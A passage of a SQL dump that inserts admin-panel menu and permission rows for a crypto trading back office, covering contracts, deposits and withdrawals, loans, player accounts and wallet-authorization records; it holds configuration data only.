'0', '0', 'system:role:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1010, '角色删除', 101, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:role:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1011, '角色导出', 101, 5, '', '', '', 1, 0, 'F', '0', '0', 'system:role:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1012, '菜单查询', 102, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:menu:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1013, '菜单新增', 102, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:menu:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1014, '菜单修改', 102, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:menu:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1015, '菜单删除', 102, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:menu:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1016, '部门查询', 103, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:dept:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1017, '部门新增', 103, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:dept:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1018, '部门修改', 103, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:dept:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1019, '部门删除', 103, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:dept:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1020, '岗位查询', 104, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:post:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1021, '岗位新增', 104, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:post:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1022, '岗位修改', 104, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:post:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1023, '岗位删除', 104, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:post:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1024, '岗位导出', 104, 5, '', '', '', 1, 0, 'F', '0', '0', 'system:post:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1025, '字典查询', 105, 1, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1026, '字典新增', 105, 2, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1027, '字典修改', 105, 3, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1028, '字典删除', 105, 4, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1029, '字典导出', 105, 5, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1030, '参数查询', 106, 1, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1031, '参数新增', 106, 2, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1032, '参数修改', 106, 3, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1033, '参数删除', 106, 4, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1034, '参数导出', 106, 5, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1035, '公告查询', 107, 1, '#', '', '', 1, 0, 'F', '0', '0', 'system:notice:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1036, '公告新增', 107, 2, '#', '', '', 1, 0, 'F', '0', '0', 'system:notice:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1037, '公告修改', 107, 3, '#', '', '', 1, 0, 'F', '0', '0', 'system:notice:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1038, '公告删除', 107, 4, '#', '', '', 1, 0, 'F', '0', '0', 'system:notice:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1039, '操作查询', 500, 1, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:operlog:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1040, '操作删除', 500, 2, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:operlog:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1041, '日志导出', 500, 3, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:operlog:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1042, '登录查询', 501, 1, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:logininfor:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1043, '登录删除', 501, 2, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:logininfor:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1044, '日志导出', 501, 3, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:logininfor:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1045, '账户解锁', 501, 4, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:logininfor:unlock', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1046, '在线查询', 109, 1, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:online:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1047, '批量强退', 109, 2, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:online:batchLogout', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1048, '单条强退', 109, 3, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:online:forceLogout', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1049, '任务查询', 110, 1, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1050, '任务新增', 110, 2, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1051, '任务修改', 110, 3, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1052, '任务删除', 110, 4, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1053, '状态修改', 110, 5, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:changeStatus', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1054, '任务导出', 110, 6, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1055, '生成查询', 116, 1, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1056, '生成修改', 116, 2, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1057, '生成删除', 116, 3, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1058, '导入代码', 116, 4, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:import', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1059, '预览代码', 116, 5, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:preview', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1060, '生成代码', 116, 6, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:code', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2015, '账变信息', 2092, 0, 'record', 'bussiness/record/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:record:list', '#', 'admin', '2023-06-27 02:39:38', 'admin', '2023-07-12 20:29:06', '用户信息菜单'); +INSERT INTO `sys_menu` VALUES (2016, '用户信息查询', 2015, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:query', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2017, '用户信息新增', 2015, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:add', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2018, '用户信息修改', 2015, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:edit', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2019, '用户信息删除', 2015, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:remove', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2020, '用户信息导出', 2015, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:export', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2021, '授权管理', 2039, 2, 'info', 'bussiness/info/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:info:list', '#', 'admin', '2023-06-27 02:39:47', 'admin', '2023-07-12 20:04:06', '钱包地址授权详情菜单'); +INSERT INTO `sys_menu` VALUES (2022, '监控额度', 2021, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:query', '#', 'admin', '2023-06-27 02:39:47', 'admin', '2023-08-29 11:09:38', ''); +INSERT INTO `sys_menu` VALUES (2023, '钱包地址授权详情新增', 2021, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:add', '#', 'admin', '2023-06-27 02:39:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2024, '钱包地址授权详情修改', 2021, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:edit', '#', 'admin', '2023-06-27 02:39:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2025, '钱包地址授权详情删除', 2021, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:remove', '#', 'admin', '2023-06-27 02:39:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2026, '钱包地址授权详情导出', 2021, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:export', '#', 'admin', '2023-06-27 02:39:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2027, '玩家资产', 2039, 3, 'asset', 'bussiness/asset/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:asset:list', '#', 'admin', '2023-06-27 02:39:53', 'admin', '2023-06-27 02:43:25', '玩家资产菜单'); +INSERT INTO `sys_menu` VALUES (2028, '玩家资产查询', 2027, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:query', '#', 'admin', '2023-06-27 02:39:53', 'admin', '2023-08-22 19:47:27', ''); +INSERT INTO `sys_menu` VALUES (2029, '玩家资产新增', 2027, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:add', '#', 'admin', '2023-06-27 02:39:53', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2030, '玩家资产修改', 2027, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:edit', '#', 'admin', '2023-06-27 02:39:53', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2031, '玩家资产删除', 2027, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:remove', '#', 'admin', '2023-06-27 02:39:53', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2032, '玩家资产导出', 2027, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:export', '#', 'admin', '2023-06-27 02:39:53', 'admin', '2023-08-22 19:47:05', ''); +INSERT INTO `sys_menu` VALUES (2033, '玩家用户', 2039, 1, 'user', 'bussiness/user/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:user:list', '#', 'admin', '2023-06-27 02:40:01', 'admin', '2023-06-27 02:43:34', '玩家用户菜单'); +INSERT INTO `sys_menu` VALUES (2034, '玩家用户查询', 2033, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:query', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2035, '玩家用户新增', 2033, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:add', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2036, '玩家用户修改', 2033, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:edit', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2037, '玩家用户删除', 2033, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:remove', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2038, '玩家用户导出', 2033, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:export', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2039, '玩家管理', 0, 1, 'bussiness', NULL, NULL, 1, 0, 'M', '0', '0', '', 'user', 'admin', '2023-06-27 02:42:31', 'admin', '2023-07-06 15:12:03', ''); +INSERT INTO `sys_menu` VALUES (2040, '银行卡管理', 2039, 5, 'bank', 'bussiness/bank/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:userBank:list', '#', 'admin', '2023-07-05 18:19:18', 'admin', '2023-08-22 19:54:19', ''); +INSERT INTO `sys_menu` VALUES (2041, '登录日志', 2039, 7, 'login', 'bussiness/login/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:log:list', '#', 'admin', '2023-07-05 18:21:15', 'admin', '2023-08-11 16:44:26', ''); +INSERT INTO `sys_menu` VALUES (2042, '实名认证', 2039, 6, 'certified', 'bussiness/certified/index', NULL, 1, 1, 'C', '0', '0', 'bussiness:detail:list', '#', 'admin', '2023-07-05 18:22:44', 'admin', '2023-08-11 16:42:38', ''); +INSERT INTO `sys_menu` VALUES (2043, '理财管理', 0, 7, 'financial', NULL, NULL, 1, 0, 'M', '0', '0', '', 'documentation', 'admin', '2023-07-05 18:24:10', 'admin', '2023-07-12 20:02:29', ''); +INSERT INTO `sys_menu` VALUES (2048, '借贷管理', 0, 8, 'loan', NULL, NULL, 1, 0, 'M', '0', '0', '', 'excel', 'admin', '2023-07-05 18:50:33', 'admin', '2023-07-12 20:02:36', ''); +INSERT INTO `sys_menu` VALUES (2049, '借贷产品', 2048, 1, 'product', 'loan/product/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:load/product:list', '#', 'admin', '2023-07-05 18:51:24', 'admin', '2023-08-11 17:11:43', ''); +INSERT INTO `sys_menu` VALUES (2050, '借贷订单', 2048, 2, 'order', 'loan/order/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:loadOrder:orderList', '#', 'admin', '2023-07-05 18:51:46', 'admin', '2023-08-11 17:14:17', ''); +INSERT INTO `sys_menu` VALUES (2051, '秒合约管理', 0, 3, 'quickly', NULL, NULL, 1, 0, 'M', '0', '0', '', 'monitor', 'admin', '2023-07-05 18:52:03', 'admin', '2023-07-12 14:49:22', ''); +INSERT INTO `sys_menu` VALUES (2064, '币币交易', 0, 5, 'currency', NULL, NULL, 1, 0, 'M', '0', '0', '', 'list', 'admin', '2023-07-06 14:53:05', 'admin', '2023-07-27 17:19:30', ''); +INSERT INTO `sys_menu` VALUES (2066, 'U本位合约', 0, 4, 'uContract', NULL, NULL, 1, 0, 'M', '0', '0', '', 'table', 'admin', '2023-07-07 11:18:14', 'admin', '2023-07-12 14:49:32', ''); +INSERT INTO `sys_menu` VALUES (2067, '委托列表', 2066, 2, 'contractOrder', 'uContract/contractOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:contractOrder:list', '#', 'admin', '2023-07-07 11:24:09', 'admin', '2023-08-11 16:49:05', ''); +INSERT INTO `sys_menu` VALUES (2069, '持仓列表', 2066, 3, 'positionOrderList', 'uContract/position/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:position:list', '#', 'admin', '2023-07-07 11:27:36', 'admin', '2023-08-11 16:50:28', ''); +INSERT INTO `sys_menu` VALUES (2070, '充提管理', 0, 2, 'deposit', NULL, NULL, 1, 0, 'M', '0', '0', '', 'clipboard', 'admin', '2023-07-07 13:20:16', 'admin', '2023-07-12 14:49:00', ''); +INSERT INTO `sys_menu` VALUES (2071, '充值列表', 2070, 1, 'rechargelist', 'deposit/recharge/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:recharge:list', '#', 'admin', '2023-07-07 13:26:09', 'admin', '2023-08-11 16:18:35', ''); +INSERT INTO `sys_menu` VALUES (2072, '提现列表', 2070, 2, 'withdrawlist', 'deposit/withdraw/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:withdraw:list', '#', 'admin', '2023-07-07 13:32:14', 'admin', '2023-08-11 16:21:28', ''); +INSERT INTO `sys_menu` VALUES (2075, '币币交易订单', 2064, 2, 'order', 'currency/order/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:currency:order:list', '#', 'admin', '2023-07-10 15:16:37', 'admin', '2023-08-22 20:53:13', ''); +INSERT INTO `sys_menu` VALUES (2077, '币种配置', 2051, 1, 'trade_pair', 'quickly/trade_pair/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:coin:config:list', 'example', 'admin', '2023-07-11 13:49:41', 'admin', '2023-08-11 16:27:51', ''); +INSERT INTO `sys_menu` VALUES (2080, '系统配置', 0, 9, '45', NULL, NULL, 1, 0, 'M', '0', '0', '', 'documentation', 'admin', '2023-07-11 18:26:27', 'admin', '2023-07-12 20:07:20', ''); +INSERT INTO `sys_menu` VALUES (2082, '秒合约订单', 2051, 2, 'order', 'quickly/order/index', NULL, 1, 0, 'C', '0', '0', 'secondContractOrder:order:list', 'clipboard', 'admin', '2023-07-12 19:36:24', 'admin', '2023-11-23 13:10:50', ''); +INSERT INTO `sys_menu` VALUES (2083, '币种配置', 2066, 1, 'configrution', 'uContract/configrution/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:ucontract:list', 'example', 'admin', '2023-07-12 19:48:00', 'admin', '2023-08-11 16:46:56', ''); +INSERT INTO `sys_menu` VALUES (2084, '币种配置', 2064, 1, 'configrution', 'currency/configrution/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:currency:symbol:list', 'example', 'admin', '2023-07-12 19:48:30', 'admin', '2023-08-22 14:43:43', ''); +INSERT INTO `sys_menu` VALUES (2085, '理财产品', 2043, 1, '/financial/productManage', 'financial/productManage/index', NULL, 1, 0, 'C', '0', '0', 'system:financial:list', 'druid', 'admin', '2023-07-12 19:50:24', '111', '2023-08-11 16:02:42', ''); +INSERT INTO `sys_menu` VALUES (2086, '理财订单', 2043, 2, '/financial/orderManage', 'financial/orderManage', NULL, 1, 0, 'C', '0', '0', 'bussiness:order:list', 'list', 'admin', '2023-07-12 19:50:50', 'admin', '2023-08-11 17:09:45', ''); +INSERT INTO `sys_menu` VALUES (2089, '兑换管理', 0, 6, 'swap', NULL, NULL, 1, 0, 'M', '0', '0', '', 'money', 'admin', '2023-07-12 20:02:18', 'admin', '2023-07-26 13:59:56', ''); +INSERT INTO `sys_menu` VALUES (2090, '币种管理', 2089, 1, '/bussiness/symbolmanage', 'bussiness/symbolmanage/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:symbolmanage:list', 'cascader', 'admin', '2023-07-12 20:03:16', 'admin', '2023-07-17 16:33:26', ''); +INSERT INTO `sys_menu` VALUES (2091, '兑换订单', 2089, 2, 'swap-order', 'bussiness/swapOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:texchange:list', '#', 'admin', '2023-07-12 20:03:29', 'admin', '2023-08-11 17:07:15', ''); +INSERT INTO `sys_menu` VALUES (2092, '平台数据', 0, 0, 'platform', NULL, NULL, 1, 0, 'M', '0', '0', '', 'excel', 'admin', '2023-07-12 20:08:29', 'admin', '2023-08-14 11:38:09', ''); +INSERT INTO `sys_menu` VALUES (2093, '每日数据', 2092, 1, 'day/data', 'data/day/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:userStatistics:dailyData', '#', 'admin', '2023-07-12 20:09:14', 'admin', '2023-08-16 17:20:24', ''); +INSERT INTO `sys_menu` VALUES (2094, '代理数据', 2092, 2, 'agency', 'data/agency/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:userStatistics:agencyList', '#', 'admin', '2023-07-12 20:09:27', 'admin', '2023-08-11 18:38:53', ''); +INSERT INTO `sys_menu` VALUES (2096, '币种周期', 2051, 3, 'cycle', 'quickly/cycle/index', NULL, 1, 0, 'C', '1', '0', 'period:config:list', '#', 'admin', '2023-07-13 14:13:47', 'admin', '2023-08-11 16:39:47', ''); +INSERT INTO `sys_menu` VALUES (2098, '充提通道配置', 2080, 2, '/bussiness/chargingPutup', 'bussiness/chargingPutup/index', NULL, 1, 0, 'C', '1', '0', '', 'cascader', 'admin', '2023-07-13 16:45:55', 'admin', '2023-08-21 17:14:18', ''); +INSERT INTO `sys_menu` VALUES (2099, '第三方配置', 2080, 3, '/bussiness/smsConfiguration', 'bussiness/smsConfiguration/index', NULL, 1, 0, 'C', '0', '0', NULL, 'cascader', 'admin', '2023-07-14 10:34:04', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2100, '基础配置', 2080, 4, '/bussiness/basicConfiguration', 'bussiness/basicConfiguration/index', NULL, 1, 0, 'C', '0', '0', NULL, 'cascader', 'admin', '2023-07-14 11:22:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2102, '贷款配置', 2080, 5, '/bussiness/loanRate', 'bussiness/loanRate/index', NULL, 1, 0, 'C', '0', '0', '', 'cascader', 'admin', '2023-07-14 14:55:17', 'admin', '2023-07-17 17:19:59', ''); +INSERT INTO `sys_menu` VALUES (2103, '公告管理', 0, 8, 'announcement', NULL, NULL, 1, 0, 'M', '0', '0', '', 'education', 'admin', '2023-07-20 10:03:14', 'admin', '2023-07-24 11:34:20', ''); +INSERT INTO `sys_menu` VALUES (2104, '玩法配置', 2080, 6, '/bussiness/gameplayConfiguration', 'bussiness/gameplayConfiguration/index', NULL, 1, 0, 'C', '0', '0', '', 'cascader', 'admin', '2023-07-21 11:54:03', 'admin', '2023-07-21 12:00:07', ''); +INSERT INTO `sys_menu` VALUES (2105, '一对一站内信', 2103, 2, 'station', 'system/station/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:mail:list', 'checkbox', 'admin', '2023-07-21 17:06:38', 'admin', '2023-08-11 17:17:55', ''); +INSERT INTO `sys_menu` VALUES (2107, '前台文本配置', 2103, 3, 'configuration', NULL, NULL, 1, 0, 'M', '0', '0', '', 'documentation', 'admin', '2023-07-24 11:21:54', 'admin', '2023-07-24 11:33:41', ''); +INSERT INTO `sys_menu` VALUES (2108, '文本设置', 107, 1, 'text', 'system/configuration/text/index', NULL, 1, 0, 'C', '0', '0', NULL, '#', 'admin', '2023-07-24 11:24:51', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2109, '规则说明', 2107, 2, 'rules', 'system/configuration/rule/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:setter:list', '#', 'admin', '2023-07-24 11:26:57', 'admin', '2023-08-11 17:25:06', ''); +INSERT INTO `sys_menu` VALUES (2110, '基础配置', 2107, 1, 'text', 'system/configuration/text/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:rules:list', '#', 'admin', '2023-07-24 11:28:07', 'admin', '2023-08-11 17:21:40', ''); +INSERT INTO `sys_menu` VALUES (2111, '客服设置', 2080, 7, '/bussiness/customer', 'bussiness/customer/index', NULL, 1, 0, 'C', '0', '0', '', 'cascader', 'admin', '2023-07-24 15:26:49', 'admin', '2023-07-24 15:27:22', ''); +INSERT INTO `sys_menu` VALUES (2112, '订单详情', 2070, 4, 'detail', 'deposit/order/index', NULL, 1, 0, 'C', '1', '0', 'bussiness:recharge:query', '#', 'admin', '2023-07-31 11:37:26', 'admin', '2023-08-11 16:35:19', ''); +INSERT INTO `sys_menu` VALUES (2113, '通知公告', 2103, 3, 'notice', 'system/notice/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:notice:list', '#', 'admin', '2023-07-31 14:17:44', 'admin', '2023-08-11 17:19:21', ''); +INSERT INTO `sys_menu` VALUES (2114, '返佣设置', 2080, 8, 'rechargeCommission', 'bussiness/commission/index', NULL, 1, 0, 'C', '0', '0', '', 'cascader', 'admin', '2023-08-03 13:55:39', 'admin', '2023-08-11 17:26:41', ''); +INSERT INTO `sys_menu` VALUES (2115, '用户充值审核', 2071, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:recharge:passOrder', '#', 'admin', '2023-08-11 16:19:45', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2116, '用户充值审核拒绝', 2071, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:recharge:failedOrder', '#', 'admin', '2023-08-11 16:20:16', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2117, '获取用户充值详细信息', 2071, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:recharge:query', '#', 'admin', '2023-08-11 16:20:39', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2118, '导出用户提现列表', 2072, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:withdraw:export', '#', 'admin', '2023-08-11 16:22:09', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2119, '获取用户提现详细信息', 2072, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:query', '#', 'admin', '2023-08-11 16:22:41', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2120, '锁定', 2072, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:withdraw:edit', '#', 'admin', '2023-08-11 16:23:11', 'admin', '2023-08-29 13:40:37', ''); +INSERT INTO `sys_menu` VALUES (2121, '删除用户提现', 2072, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:withdraw:remove', '#', 'admin', '2023-08-11 16:23:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2122, '导出秒合约币种配置列表', 2077, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:export', '#', 'admin', '2023-08-11 16:28:08', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2123, '获取秒合约币种配置详细信息', 2077, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:query', '#', 'admin', '2023-08-11 16:28:29', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2124, '新增秒合约币种配置', 2077, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:add', '#', 'admin', '2023-08-11 16:29:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2125, '修改秒合约币种配置', 2077, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:edit', '#', 'admin', '2023-08-11 16:29:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2126, '导出秒合约订单列表', 2082, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'secondContractOrder:order:export', '#', 'admin', '2023-08-11 16:32:35', '', NULL, ''); 